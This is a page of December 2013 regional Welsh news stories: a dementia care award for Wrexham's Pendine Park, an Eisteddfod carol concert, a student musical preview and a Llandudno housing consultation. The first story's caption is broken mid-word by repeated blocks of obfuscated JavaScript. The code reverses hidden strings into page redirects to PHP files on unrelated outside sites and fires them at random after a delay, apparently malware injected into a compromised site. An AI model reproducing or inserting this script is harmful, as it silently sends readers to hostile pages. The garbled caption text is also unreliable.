Category: News

Wrexham-based care organisation Pendine Park on top of the world

Bodondeb Care Home Manager Ann Chapman and proprie$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor Mario Kreft proud $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to be awarded "The Most Outstanding Dementia Care Innovation in the World 2013

A pioneering care organisation has won an international award.

Wrexham-based Pendine Park was recognised for the most outstanding dementia care innovation in the world in 2013.

The honour was bestowed at the Globals, an international awards ceremony organised by the influential Over 50s Housing group.

The glittering occasion at the Grosvenor House Hotel in London was attended by the best of social care organisations from around the world, from as far afield as New Zealand and Canada.

The judges praised Bodlondeb, Pendine Park’s centre of excellence for dementia and mental health care, that was officially opened by First Minister Carwyn Jones who hailed it as a “pioneering model of care”.

They were particularly impressed with the way in which it was run within the constraints of public sector funding and how the arts were used to enrich residents’ lives.

Pendine Park has already received a raft of awards for their long-running collaborations with the world-renowned Hallé orchestra and Welsh National Opera.

Bodlondeb is divided into eight small, family-like units so that the residents receive as much individual care and attention as possible whilst benefiting from the back-up of a larger organisation.

It is being used as a template for a new £7 million scheme to provide dementia services on the site of a former community hospital, Ysbyty Bryn Seiont, on the outskirts of Caernarfon.

The development has just received planning permission  after Gwynedd councillors unanimously supported the proposal despite a recommendation from planning officials that it should be refused.

Earlier this year Pendine Park became one of only a handful of social care companies across the UK to receive the coveted Investors in People Gold Award.

Pendine Park owner Mario Kreft MBE was delighted their work had been honoured at the Globals.

Mr Kreft, who is also the Chair of Care Forum Wales, said: “It’s a wonderful accolade, and Pendine Park has been chosen particularly for the work that we’re undertaking with our enrichment programme, in particular using the arts.

“The judges cited our  Bodlondeb dementia unit which was built specifically to operate to local authority level funding.

“What you’re seeing is an independent sector organisation taking responsibility to provide the very best dementia services we can to the community, with a specialist building with small family like units.

“They also wanted to recognise  what we have done with our workforce and development programme which was one of the factors that helped us achieve Investors in People Gold.

“At Bodlondeb, we have an absolutely inspirational manager in Ann Chapman, and she is supported by a large team of fantastic people.

“I think Bodlondeb is a very good example internationally of how you square the circle of increasing need, increasing expectation, trying to find the best practice wherever you can find that, putting it together in a package, and actually doing it at a price that many people would think is very difficult to achieve.

“We want to build on our success with Bodlondeb. Canolfan Gofal Parc Pendine in Caernarfon will benefit from this experience and indeed the experience of the last 28 years that we have been doing this job.”

According to Mr Kreft, the values he learned from his grandparents still provide his “guiding light”.

Bodlondeb was named after his grandparents’ home in St Asaph Street, Rhyl, and was dedicated to his beloved grandmother, Mrs Rene Warburton,  who suffered from Alzheimer’s disease in later life.

“Although they are no longer with us, my grandparents who raised me would have been very proud,” he added.

Thursday December 12th, 2013

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Llangollen Eisteddfod’s message to the Philippines at carol concert

20110709_BN008 ceidiog

A special message to the typhoon-ravaged Philippines will be made from the stage at Llangollen International Musical Eisteddfod Carol Concert.

The heartfelt words of sympathy and support will go out on behalf of the Eisteddfod from the Royal International Pavilion at the Concert on Sunday, December 15, to the nation which is still reeling from the shock of Typhoon Haiyan which struck so ferociously last month.

The strongest recorded typhoon ever to hit land killed more than 5,000 people and has made four million homeless in the Philippine islands.

It has also prompted the Eisteddfod to look at rewriting its constitution so it can help raise funds for this and similar disasters in future – the International Eisteddfod’s own status as a charity complicates its ability to raise money for other charities.

It is an especially appropriate stage as the purpose of the Carol Concert is to raise funds to help overseas competitors take part in the International Eisteddfod which was founded in 1947 to promote international goodwill.

Last year one of the choirs they helped was the Hail Mary The Queen Children’s Choir, from Manila, who made the 6,900 mile journey and took the Junior Choir of the World crown.

Eilir Owen Griffiths, Musical Director of the Eisteddfod, said: “We feel we have a special bond with the people of the Philippines and our hearts go out to them as they face a very difficult Christmas.

“Last year we helped the Hail Mary The Queen Children’s Choir experience the magic of Llangollen and there couldn’t have been more popular and excited winners of the Junior Choir of the World.

“It would be wonderful if through this Carol Concert we were able to help another group from the Philippines attend – over the years they have enriched this wonderful cultural celebration and been very successful too.”

Last year’s success, which was gleefully reported over a live television link to an early morning audience in the Philippines, wasn’t the first stage triumph for the Pacific islands nation – the Santo Tomas Singers are the only choir to have twice won the coveted Pavarotti Trophy while in 2011 the Adventist University of the Philippines Ambassadors took the trophy home.

The Eisteddfod are to use their links to the Phillippines to offer help to choirs interested in attending this year’s event in July with the Carol Concert playing a major part in raising more than £20,000 in bursaries for competitors from overseas.

Eisteddfod Chairman Gethin Davies will issue the message from the stage and he said: “We have a long and proud tradition of welcoming our friends from the Philippines to the Eisteddfod and this concert has played a vital part in bringing so many this great event over the years.

“They bring such colour and enthusiasm and a tremendous tradition of singing which means they are always popular visitors to Llangollen.”

This year’s Carol Concert will see legendary Welsh tenor Trebor Edwards and BBC Last Choir Standing finalists’ A Handbag of Harmonies, from Chester,  among the performers.

Joining them at the Songs at Christmas event will be Welsh soprano Helen Belton, Tanya Bilous, a Ukrainian student from Glyndwr University who is actually making her own Ukrainian costume, brass ensemble Deva Brass and choirs from Ysgol Bryn Collen and Ysgol Gymraeg y Gwernant.

It’s virtually a home fixture for Trebor, a farmer from just down the road at Betws GG, near Corwen and one of the most successful singers in Welsh recording history with more than a quarter-of-a-million albums sold.

The award-winning Handbag of Harmonies barbershop singers who reached the final 15 of BBC’s Last Choir Standing competition, have performed at concerts throughout the UK, as well as co-producing the ‘Across the World’ anthem for the BBC’s Cultural Olympiad, performed to an audience of 5,000.

Adding to the festive spirit will be community carol singing conducted by Eilir Owen Griffiths and accompanied by local pianist and singer Elen Roberts.

The Songs at Christmas concert takes place at the Royal International Pavilion at 7pm on Sunday, December 15. Tickets are £7.50 (£5 for concessions) and are available from the International Eisteddfod Office: 01978 862001 – for more details go to the website on http://international-eisteddfod.co.uk

Thursday December 12th, 2013

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Little Shop of Horrors preview to hit Eagles Meadow shopping centre

EAGLES MEADOW WREXHAM, Glyndwr University students . Pictured (LEFT/RIGHT) Jason Whitehurst as orin, Elyse Hansbury as Audrey, Adam Russell as Seymour and Dan James as Mr Muchnik.

A group of talented students will give shoppers a taste of a rock comedy horror show involving a murderous plant.

Theatre, Television and Performance students from Glyndwr University will descend on Eagles Meadow shopping centre at 2.30pm on Friday, December 13, to perform numbers of the Little Shop of Horrors musical.

They will be performing their high energy version of the Broadway musical at the Catrin Finch Centre on the Glyndwr University campus from the December 17 to 19, with matinees  at 1.30pm and evening shows at 7.30pm.

The cult classic based on the 1960 black comedy film The Little Shop of Horrors is about a hapless florist shop worker who raises a plant that feeds on human blood and flesh.

Senior lecturer Elen Mai Nefydd, head of Theatre, Television and Performance at Glyndwr University said: “This year it’s the biggest challenge we’ve ever had because we’ve got almost 70 people in the cast.

“Every year we put on a Christmas production at Glyndwr and this is the biggest show to date we’ve done in the department, which shows that the department is growing but also that the skills of the students are developing a great deal.

“There are a lot of different elements this year that we’re bringing together.

“We’re using a live band on stage. We’ve got a plant which is huge six foot plant. Also we’ve got computing students at Glyndwr providing CGI backdrops for us.

“We’ve even have our head of creative industries Dr Stuart Cunningham playing the guitar for us, so it’s a very exciting project.

“There are big songs where we’re utilising all of the students on stage with dance routines and movements and so on.

“They’re quite iconic songs like ‘Suddenly, Seymour’ and Skid Row.”

Third year student Adam Russell, 20, who plays hapless Seymour, explained: “He stumbles upon this plant and they become friends. The plant grows because Seymour is feeding him human blood.”

The plant encourages a murderous streak in Seymour to win the heart of Audrey, the musical’s love interest.

Adam added: “He’s been in love with her for a long time but has never had the confidence to say it.

“The plant him the way to get what he wants in life is to kill people, and what he wants is a life with Audrey. He’ll do anything to get it.”

Second year student Elyse Hansbury, 19, plays Audrey, the love interest, in the musical.

She said: “It’s a big help to be able to go to Eagles Meadow to promote the show because although we’ve been putting up flyers and advertising it over Facebook and on the university campus, it also helps to get out to see people let them know, so they can see the characters themselves.

“We’re all in our costumes as well so we can give them a bit of flavour of what’s going to be in the show. It’s almost like a try before you buy.”

Third year student Jason Whitehurst, 21, who plays evil love rival Orin said: “My character is a dentist is because he likes inflicting pain on people.

“He rips teeth out for pleasure because he’s a sadist. He won’t give people anaesthetic or anything like that because he likes to inflict pain on them.

“He abuses Audrey, slaps her around orders her about. Every time she speaks he’s derogatory to her, putting her down all of the time.

“He tries to bully Seymour to get him out of the picture.”

Kevin Critchley, the Manager of Eagles Meadow, is a big fan of the show.

He said: “I can’t wait to see them performing here and I hope it helps drum up interest in their production.”

To buy tickets please visit www.glyndwr.ticketsolve.com/shows/873503591/events

or call the Box Office on 01978 293293. Tickets cost £8 and concession cost £6.50

Thursday December 12th, 2013

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Llandudno tenants have their say on Cartrefi Conwy housing scheme

Cartrefi Conwy Christmas Consultation Event for the residents in and around Llys Seiriol/Llys Eryl . pictured are residents Linda Mullin and Martin Stallard with (CENTRE) Nerys Veldhuizen, Cartrefi Conwy.

Residents are being given a say on what community facilities and events they’d like to see in a new million state-of-the-art new development in Llandudno.

Housing association Cartrefi Conwy is aiming to replace its two ageing sheltered housing schemes in the town’s St Andrews’s Avenue – Llys Seiriol and the adjoining Llys Eryl – with 30 new homes built to the most modern standards, on the same site.

A key feature of the new development will be a community hub area where residents can go to mingle with friends and enjoy a range of leisure activities.

The ambitious scheme is currently going through the local council planning process and tenants of the two older developments, along with local residents who will also be able to use the hub, were recently invited along to a community centre in the area to be briefed on the plan’s progress.

They were also asked for their suggestions on a suitable name for the new development.

The meeting, which was hosted by members of the Cartrefi Conwy team in the Trinity Centre, took the form of an informal Christmas celebration, and a total of about 33 residents enjoyed a buffet lunch, a raffle with a host of great prizes, a music quiz and had the chance to have their pictures taken, free of charge, to appear on their own personal Christmas cards.

Cartrefi Conwy formulated the rebuilding because Llys Seiriol and Llys Eryl, which are both around 50 years old, do not meet Welsh Government housing quality standards.

The association believes the best way forward is to demolish both blocks and replace them with a single development.

The new development, designed by award-winning architects, would feature a total of 30 new homes, including a diverse mix of 26 apartments, of one and two bedrooms, plus four houses, two with two bedrooms and two with three bedrooms.

Fronting on to St Andrew’s Avenue and designed to give the outward appearance of a row of traditional terraced houses, the development would have ground, first and second floor levels, with the upper floors being served by a lift – something which the existing blocks do not have.

It would be surrounded by landscaped gardens and have parking areas reserved for tenants and their guests.

Each home is designed to be fully accessible for disabled tenants, with a modern bathroom and fitted kitchen.

Existing tenants have been given the option of signing up for a place in the new development and moving into temporary accommodation until it is ready or transferring to other Cartrefi Conwy housing schemes.

A sizeable number have opted for the new development and at the briefing session were delighted to hear from Cartrefi Conwy’s housing project manager Eiry Davies about what progress is being made on the scheme which will become their new home.

She explained to them that the full planning application for the scheme was submitted to Conwy Council in October.

If the blueprint gets the go-ahead work will start on site early next year with completion of the project expected in May of 2015.

Eiry also told tenants the association was keen to have the views – not just of the people who will eventually live there but also of residents of seven or eight neighbouring Cartrefi Conwy housing schemes – on the facilities the hub should include, and a possible name for the whole development.

She said: “We want the hub to be a place where everyone can come together, enjoy meeting friends and using the facilities.”

People at the meeting were given slips of paper on which they were able to jot down their suggestions, and these were taken away for assessment.

Nerys Veldhuizen, the association’s older person’s engagement co-ordinator, said later: “People came up with all sorts of interesting suggestions for activities and events they’d like to see taking place in the community hub.

“These included everything from armchair aerobics and a book club to music and luncheon clubs.

“It was great to have residents’ input and we’ll now look very carefully at all their ideas.”

Tenants who were at the meeting said they were glad to have been updated on the new development and to be given the chance of having a say in what the community hub will have to offer.

Among them was 54-year-old Linda Mullin who lives in the Cartrefi Conwy sheltered scheme in St Andrew’s Avenue.

She said: “Because I only moved into my flat in May and don’t live in either of the two blocks affected by the new development, I hadn’t really heard much about it, so it was very useful to have the briefing meeting.

“As I’m looking forward very much to using the community hub it was also good to be given the opportunity to have a say on what things should be on offer there.

“The kind of activities I’d like to see is bingo, tea dances and line dances, which are all very popular with people.”

Olwyn Rowlands, 78, who has already left Llys Eryl and gone into temporary accommodation nearby until she can move into the new development, said: “I was very glad to have been invited to the meeting to hear all about what’s happening with the new building. It’s nice to be kept abreast of what’s going on.

“I’m looking forward to moving in to a smart new flat and of having use of the community hub.

“What I’d like to see included in it is a computer room because I like to use a laptop to keep in touch with people and to see what is happening in the world. I love dancing and so I’d also like to see us have ballroom and line dancing and maybe even some karaoke sessions.”

Martin Stallard, 60, who lives in the Cartrefi scheme in Norman Road, close to the where the new development will be built, said: “I think it’s very good that it will have a community hub which everyone can use, not just the people who live there.

“I’ve suggested it would be nice to have coffee mornings where everyone can get together and, as I’m a real fan, I’d also like to see soul music sessions.”

Wednesday December 11th, 2013

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